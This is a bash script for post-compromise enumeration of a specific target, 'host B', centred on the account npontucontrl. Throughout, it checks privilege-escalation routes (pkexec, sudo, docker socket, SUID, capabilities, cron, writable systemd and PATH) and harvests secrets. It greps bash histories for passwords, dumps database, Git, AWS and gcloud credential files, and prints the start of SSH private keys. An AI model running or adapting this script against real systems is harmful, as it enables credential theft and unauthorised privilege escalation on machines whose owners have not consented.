#!/bin/bash
# READ-ONLY enum v2 for host B — FAST (no full-FS find/getcap)
echo "===== [1] KERNEL / OS / PATCH ====="
uname -a
rpm -q polkit sudo kernel 2>/dev/null | head -5
ls -la /usr/bin/pkexec 2>/dev/null

echo ""
echo "===== [2] SUDO / GROUPS / DOCKER ====="
id; groups
ls -la /var/run/docker.sock 2>/dev/null
docker ps 2>&1 | head -3
sudo -n true 2>&1 | head -2

echo ""
echo "===== [3] SUID (targeted dirs only) ====="
find /usr/local /opt /home -perm -4000 -type f 2>/dev/null | head -20
echo "--- chrome-sandbox (known) + others in /usr ---"
ls -la /usr/bin/sudo /usr/bin/su /usr/bin/pkexec /usr/bin/passwd /usr/bin/newgrp /usr/bin/mount 2>/dev/null

echo ""
echo "===== [4] CAPABILITIES (targeted) ====="
getcap -r /usr/local /opt /home 2>/dev/null | head -10

echo ""
echo "===== [5] BASH HISTORY ====="
echo "--- npontucontrl ---"
ls -la /home/npontucontrl/.bash_history 2>/dev/null
cat /home/npontucontrl/.bash_history 2>/dev/null | grep -iE "sudo|su |passwd|ssh|mysql|psql|PGPASSWORD|password|pw=|PASS=" | head -30
echo "--- npontucontrl FULL (last 60) ---"
tail -60 /home/npontucontrl/.bash_history 2>/dev/null
echo "--- all /home users ---"
ls -la /home/ 2>/dev/null
for u in /home/*/; do
  hu="${u}.bash_history"
  if [ -r "$hu" ]; then
    echo "=== $hu ==="
    grep -iE "sudo|su |passwd|ssh -|mysql|psql|password|npontucontrl" "$hu" 2>/dev/null | head -15
  fi
done

echo ""
echo "===== [6] CRED FILES ====="
for f in .my.cnf .pgpass .git-credentials .netrc .config/gcloud/credentials .aws/credentials; do
  echo "--- ~/$f ---"
  cat "/home/npontucontrl/$f" 2>/dev/null
done
echo "--- ~/.ssh ---"
ls -la /home/npontucontrl/.ssh/ 2>/dev/null
cat /home/npontucontrl/.ssh/*.pem /home/npontucontrl/.ssh/id_* 2>/dev/null | head -5

echo ""
echo "===== [7] CRON ====="
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null | head -40
crontab -l 2>&1 | head -10
ls -la /var/spool/cron/ 2>/dev/null

echo ""
echo "===== [8] WRITABLE / SYSTEMD / LD ====="
find /etc/systemd/system /usr/lib/systemd/system -writable -type f 2>/dev/null | head -10
ls -la /etc/ld.so.preload 2>/dev/null
echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE_PATH: $d"; done 2>/dev/null

echo ""
echo "===== [9] LOCAL PG ====="
ps aux 2>/dev/null | grep -E "postgres|mysqld" | grep -v grep | head -5
ss -tln 2>/dev/null | grep -E ":5432|:3306"
ls -la /var/lib/pgsql/ /var/lib/postgresql/ 2>/dev/null | head -5

echo ""
echo "===== [10] DEPLOY / SCRIPTS ====="
ls -la /var/www/html/ 2>/dev/null | grep -iE "deploy|\.sh$|fabfile|Makefile|Jenkins|\.gitlab|\.env" | head -15
ls -la /opt/ /usr/local/bin/ 2>/dev/null | head -20
ls -la /root/*.sh 2>/dev/null

echo ""
echo "===== [11] NFS / TMUX ====="
cat /etc/exports 2>/dev/null
mount 2>/dev/null | grep -i nfs
ls -la /tmp/tmux-* /tmp/screen-* 2>/dev/null | head -5

echo ""
echo "===== [12] SELINUX ====="
getenforce 2>/dev/null

echo ""
echo "===== [13] SUDOERS / SHADOW / BACKUPS ====="
ls -la /etc/shadow /root/.bash_history 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null
ls -la /var/backups/ /backup/ 2>/dev/null | head -10

echo ""
echo "===== [14] LISTENING PORTS / INTERESTING PROCS ====="
ss -tlnp 2>/dev/null | head -20
ps aux 2>/dev/null | grep -iE "jenkins|gitlab|ansible|deploy|ci|runner" | grep -v grep | head -5

echo ""
echo "===== ENUM v2 COMPLETE ====="